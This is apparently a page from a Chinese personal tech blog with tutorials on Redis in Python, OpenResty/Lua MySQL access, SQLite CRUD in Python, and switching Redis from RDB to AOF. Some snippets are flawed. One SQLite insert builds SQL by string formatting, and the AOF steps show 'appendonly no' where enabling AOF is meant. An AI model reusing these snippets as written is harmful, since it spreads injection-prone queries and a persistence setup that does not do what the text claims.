redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。Redis 是一个高性能的key-value数据库。 redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。首先安装一个Python-redis的包使用PIP pip install redis 或者使用 pip3 install redis测试是否安装成功:import redis那么,启动redis服务来测试一下(注:各环境下Redis服务各有不同,这里以Windows版为例)测试这里建立简单连接来测试>>> import redis >>> r = redis.StrictRedis(host='localhost', port=6379, db=0) >>> r.set('foo', 'bar') True >>> r.get('foo') 'bar'可以通过查看子类来了解所包含的参数选项这里Redis是StrictRedis的子类 def __init__(self, host='localhost', port=6379, db=0, password=None, socket_timeout=None, socket_connect_timeout=None, socket_keepalive=None, socket_keepalive_options=None, connection_pool=None, unix_socket_path=None, encoding='utf-8', encoding_errors='strict', charset=None, errors=None, decode_responses=False, retry_on_timeout=False, ssl=False, ssl_keyfile=None, ssl_certfile=None, ssl_cert_reqs=None, ssl_ca_certs=None):redis 提供两个类 Redis 和 StrictRedis, StrictRedis 用于实现大部分官方的命令,Redis 是 StrictRedis 的子类,用于向后兼用旧版本。redis 取出的结果默认是字节,我们可以设定 decode_responses=True 改成字符串。>>> import redis # 导入redis 模块 >>> r = redis.Redis(host='localhost', port=6379, decode_responses=True) >>> r.set('name', 'daofengql') # 设置 name 对应的值 True >>> print(r['name']) daofengql >>> print(r.get('name')) # 取出键 name 对应的值 daofengql >>> print(type(r.get('name'))) # 查看类型 <class 'str'> >>>连接池redis-py 使用 connection pool 来管理对一个 redis server 的所有连接,避免每次建立、释放连接的开销。默认,每个Redis实例都会维护一个自己的连接池。可以直接建立一个连接池,然后作为参数 Redis,这样就可以实现多个 Redis 实例共享一个连接池。>>> import redis # 导入redis 模块 >>> pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True) >>> r = redis.Redis(host='localhost', port=6379, decode_responses=True) >>> r.set('name', 'daofengql') # 设置 name 对应的值 True >>> print(r.get('name')) # 取出键 name 对应的值 daofengql >>>根据前面子类中对链接的定义,可以对照着传入其他参数,例如选择数据库的db数,安全链接的密码,超时等等例如:>>> import redis # 导入redis 模块 >>> pool = redis.ConnectionPool(host='localhost', port=6379,db=1,password="passwd", decode_responses=True)redis 基本命令 Stringset(name, value, ex=None, px=None, nx=False, xx=False)在 Redis 中设置值,默认,不存在则创建,存在则修改。参数:ex - 过期时间(秒)px - 过期时间(毫秒)nx - 如果设置为True,则只有name不存在时,当前set操作才执行xx - 如果设置为True,则只有name存在时,当前set操作才执行例:1.ex - 过期时间(秒) 这里过期时间是3秒,3秒后p,键food的值就变成Noneimport redis pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True) r = redis.Redis(connection_pool=pool) r.set('who', 'daofeng', ex=5) # 将键值对存入redis缓存设置5秒过期 print(r.get('who')) print(r.get('who'))2.px - 过期时间(豪秒) 这里过期时间是3豪秒,3毫秒后,键foo的值就变成Noneimport redis pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True) r = redis.Redis(connection_pool=pool) r.set('daofengql', '1', px=3) print(r.get('daofengql'))3.nx - 如果设置为True,则只有name不存在时,当前set操作才执行 (新建)import redis pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True) r = redis.Redis(connection_pool=pool) print(r.set('daofengql', 'a dragon', nx=True)) # True--不存在 # 如果键不存在,那么输出是True;如果键已经存在,输出是None4.xx - 如果设置为True,则只有name存在时,当前set操作才执行 (修改)import redis pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True) r = redis.Redis(connection_pool=pool) print((r.set('name', 'a dragon', xx=True))) # True--已经存在 # 如果键已经存在,那么输出是True;如果键不存在,输出是None5.setnx(name, value)设置值,只有name不存在时,执行设置操作(添加)import redis pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True) r = redis.Redis(connection_pool=pool) print(r.setnx('whois', 'a dragon')) # whois不存在,输出为True r.set('name', 'a dragon') print(r.setnx('name', 'a dragon')) # name存在,输出为False 6.setex(name, time, value) time - 过期时间(数字秒 或 timedelta对象)import redis import time pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True) r = redis.Redis(connection_pool=pool) r.setex("whoisdaofeng", 5, "a dragon") time.sleep(5) print(r.get('whoisdaofeng')) # 5秒后,取值就从a dragon变成None 下接:Python3操作Redis数据库(二)
2021年05月30日
125 阅读
0 评论
0 点赞
2021-03-07
OpenResty-Lua之连接MySQL数据库
连接MySQL local mysql = require "resty.mysql" local db, err = mysql:new() if not db then ngx.say("failed to instantiate mysql: ", err) return end db:set_timeout(1000) --1 sec local ok, err, errno, sqlstate = db:connect{ host = "127.0.0.1", port = 3306, database = "test", user = "root", password = "vagrant", max_packet_size = 1024*1024 } if not ok then ngx.say("failed to connect: ",err, ":", errno, " ", sqlstate) return end res, err, errno, sqlstate = db:query("create table cats" .. "(id serial primary key, " .."name varchar(5))") if not res then ngx.say("bad result: ", err, ": ", errno, ":", sqlstate, ".") return end ngx.say("table cats created.") res, err, errno, sqlstate = db:query("insert into cats (name) " .. "values (\'Bob\'),(\'\'),(null)") if not res then ngx.say("bad result: ", err, ": ", errno, ": ", sqlstate, ".") return end样例2:local db, err = env:new() if not db then --错误处理 ngx.say(err) return end --设置超时 db:set_timeout(1000) --设置链接信息 local ok, err ,errcode ,sqlstate = db:connect{ database ="root",user = "root",password = "root",host = "127.0.0.1",port = 3306,charset = "utf8",max_packaget_size = 2048 * 2048 } --数据库命令主体 query = "select"; --数据库操作返回 local res, err ,errcode ,sqlstate = db:query(query) if not res then ngx.say(err) return end local ret = {} --数据库操作返回数据重构 for i,row in ipairs(res) do for key,raw in pairs(row) do ret[key] = raw end end --json编码进入 db:close()--关闭数据库连接需要安装Resty.mysql的库,非Openresty用户需要额外安装,resty.mysql库同时依赖resty.string库nginx配置文件部分:location /mysql_hello { content_by_lua_file XX.lua; }
2021年03月07日
112 阅读
0 评论
0 点赞
2021-02-20
Python3操作SQLite数据库
SQLiteSQLite,是一款轻型的数据库,是遵守ACID的关系型数据库管理系统,它包含在一个相对小的C库中。它是D.RichardHipp建立的公有领域项目。它的设计目标是嵌入式的,而且已经在很多嵌入式产品中使用了它,它占用资源非常的低,在嵌入式设备中,可能只需要几百K的内存就够了。它能够支持Windows/Linux/Unix等等主流的操作系统,同时能够跟很多程序语言相结合,比如 Tcl、C#、PHP、Java等,还有ODBC接口,同样比起Mysql、PostgreSQL这两款开源的世界著名数据库管理系统来讲,它的处理速度比他们都快。SQLite第一个Alpha版本诞生于2000年5月。 至2021年已经有21个年头,SQLite也迎来了一个版本 SQLite 3已经发布。功能特性ACID事务零配置 – 无需安装和管理配置支持数据库大小至2TB比一些流行的数据库在大部分普通数据库操作要快独立: 没有额外依赖支持多种开发语言,C, C++, PHP, Perl, Java, C#,Python, Ruby等数据类型SQLite 存储类每个存储在 SQLite 数据库中的值都具有以下存储类之一:存储类描述NULL值是一个 NULL 值。INTEGER值是一个带符号的整数,根据值的大小存储在 1、2、3、4、6 或 8 字节中。REAL值是一个浮点值,存储为 8 字节的 IEEE 浮点数字。TEXT值是一个文本字符串,使用数据库编码(UTF-8、UTF-16BE 或 UTF-16LE)存储。BLOB值是一个 blob 数据,完全根据它的输入存储。SQLite 的存储类稍微比数据类型更普遍。INTEGER 存储类,例如,包含 6 种不同的不同长度的整数数据类型。SQLite 亲和(Affinity)类型SQLite支持列的亲和类型概念。任何列仍然可以存储任何类型的数据,当数据插入时,该字段的数据将会优先采用亲缘类型作为该值的存储方式。SQLite目前的版本支持以下五种亲缘类型:亲和类型描述TEXT数值型数据在被插入之前,需要先被转换为文本格式,之后再插入到目标字段中。NUMERIC当文本数据被插入到亲缘性为NUMERIC的字段中时,如果转换操作不会导致数据信息丢失以及完全可逆,那么SQLite就会将该文本数据转换为INTEGER或REAL类型的数据,如果转换失败,SQLite仍会以TEXT方式存储该数据。对于NULL或BLOB类型的新数据,SQLite将不做任何转换,直接以NULL或BLOB的方式存储该数据。需要额外说明的是,对于浮点格式的常量文本,如"30000.0",如果该值可以转换为INTEGER同时又不会丢失数值信息,那么SQLite就会将其转换为INTEGER的存储方式。INTEGER对于亲缘类型为INTEGER的字段,其规则等同于NUMERIC,唯一差别是在执行CAST表达式时。REAL其规则基本等同于NUMERIC,唯一的差别是不会将"30000.0"这样的文本数据转换为INTEGER存储方式。NONE不做任何的转换,直接以该数据所属的数据类型进行存储。 SQLite 亲和类型(Affinity)及类型名称下表列出了当创建 SQLite3 表时可使用的各种数据类型名称,同时也显示了相应的亲和类型:数据类型亲和类型INT INTEGER TINYINT SMALLINT MEDIUMINT BIGINT UNSIGNED BIG INT INT2 INT8INTEGERCHARACTER(20) VARCHAR(255) VARYING CHARACTER(255) NCHAR(55) NATIVE CHARACTER(70) NVARCHAR(100) TEXT CLOBTEXTBLOB no datatype specifiedNONEREAL DOUBLE DOUBLE PRECISION FLOATREALNUMERIC DECIMAL(10,5) BOOLEAN DATE DATETIMENUMERICBoolean 数据类型SQLite 没有单独的 Boolean 存储类。相反,布尔值被存储为整数 0(false)和 1(true)。Date 与 Time 数据类型SQLite 没有一个单独的用于存储日期和/或时间的存储类,但 SQLite 能够把日期和时间存储为 TEXT、REAL 或 INTEGER 值。存储类日期格式TEXT格式为 "YYYY-MM-DD HH:MM:SS.SSS" 的日期。REAL从公元前 4714 年 11 月 24 日格林尼治时间的正午开始算起的天数。INTEGER从 1970-01-01 00:00:00 UTC 算起的秒数。您可以以任何上述格式来存储日期和时间,并且可以使用内置的日期和时间函数来自由转换不同格式。使用Python3操作SQLitepython2.5以后的安装包已经自带SQLite3的软件包了,所以直接导入使用即可。import sqlite3第一步:连接数据库(如果数据库不存在就会创建新的数据库)# 可以指定创建数据库的路径,比如可以写成sqlite3.connect(r"C:\test.db") con = sqlite3.connect("test.db")第二步:创建游标cur = con.cursor()第三步:CURD操作(一) 创建表sql = "CREATE TABLE IF NOT EXISTS test(id INTEGER PRIMARY KEY,name TEXT,age INTEGER)" cur.execute(sql)创建完数据库和表后的结构示意图:(二) 添加数据(需要提交)# ①:添加单条数据 data = "1,'Desire',5" cur.execute('INSERT INTO test VALUES (%s)' % data) # ②:添加单条数据 cur.execute("INSERT INTO test values(?,?,?)", (6, "zgq", 20)) # ③:添加多条数据 cur.executemany('INSERT INTO test VALUES (?,?,?)', [(3, 'name3', 19), (4, 'name4', 26)])(三) 更新数据(需要提交)# 方式一 cur.execute("UPDATE test SET name=? WHERE id=?", ("nihao", 1)) # 方式二 cur.execute("UPDATE test SET name='haha' WHERE id=3")(四) 删除数据(需要提交)# 方式一 cur.execute("DELETE FROM test WHERE id=?", (1,)) # 方式二 cur.execute("DELETE FROM test WHERE id=3") (五) 查询数据1、查询所有数据cur.execute("select * from Test") print(cur.fetchall())2、查询第一条数据cur.execute("select * from Test") print(cur.fetchone())3、查询多条数据print(cur.fetchmany(3))第四步:事务的提交和回滚提交con.commit()回滚con.rollback()第五步:断开会话连接,释放资源# 关闭游标 cur.close() # 断开数据库连接 con.close()
2021年02月20日
133 阅读
0 评论
0 点赞
2021-02-14
Redis持久化RDB切换AOF
选择的标准,就是看系统是愿意牺牲一些性能,换取更高的缓存一致性(aof),AOF 的数据完整性比RDB高,但记录内容多了,会影响数据恢复的效率。还是愿意写操作频繁的时候,不启用备份来换取更高的性能,待手动运行save的时候,再做备份(rdb),RDB 持久化适合大规模的数据恢复但它的数据一致性和完整性较差。redis默认持久化配置rdb,但是如果贸然切换配置到aof方式,重启会导致数据丢失如果数据不重要,都是缓存数据则没什么,如果是重要临时数据,不能丢失的情况,则需要特殊处理,保证数据不丢失根本原因rdb方式默认将数据持久化存储到dump.rdb文件下aof方式默认将数据写操作记录到appendonly.aof文件下如果同时开启2种方式,重启会默认加载aof方式redis默认只开启rdb综上,如果你是默认rdb方式,然后贸然切换到aof,重启后会读取aof文件,但是这个时候aof文件是空的,则会导致redis被清空解决方法原理:在redis控制台动态配置打开 aof方式,在 shutdown安全退出后,自动记录了当前所有记录到 aof文件,再修改redis文件配置打开 aof方式,启动redis时会自动加载之前安全退出保存的 aof数据进入redisredis-cliredis中动态修改配置并退出127.0.0.1:6379> save # 收到触发rdb存储数据 OK 127.0.0.1:6379> CONFIG SET appendonly yes # 动态配置 OK 127.0.0.1:6379> save OK 127.0.0.1:6379> shutdown save # 安全退出并存储数据 not connected> exit [root@localhost ~]# 修改redis配置,打开aofvim redis.confappendonly no #aof方式默认关闭启动redisservice redis start附录rdb配置save 900 1 #在900秒(15分钟)之后,如果至少有1个key发生变化,则dump内存快照。 save 300 10 #在300秒(5分钟)之后,如果至少有10个key发生变化,则dump内存快照。 save 60 10000 #在60秒(1分钟)之后,如果至少有10000个key发生变化,则dump内存快照。aof配置appendonly no #aof方式默认关闭 appendfilename "appendonly.aof" #文件名 appendfsync everysec #同步模式(可选no always everysec) no-appendfsync-on-rewrite no auto-aof-rewrite-percentage 100 auto-aof-rewrite-min-size 64mb aof-load-truncated yes宝塔可以在动态修改配置保存之后直接编辑配置文件或者直接设置持久化然后启动服务即可那我想找到这个aof文件或者rdb文件怎么办?在服务启动后进入redis-cli127.0.0.1:6379> CONFIG GET dir #查看安装目录或者数据目录 1) "dir" 2) "/data/redis/redis_cache"进入目录后不出意外的话就能看到想要的aof和rdb文件了
2021年02月14日
90 阅读
0 评论
0 点赞
1
2
3
4
...
6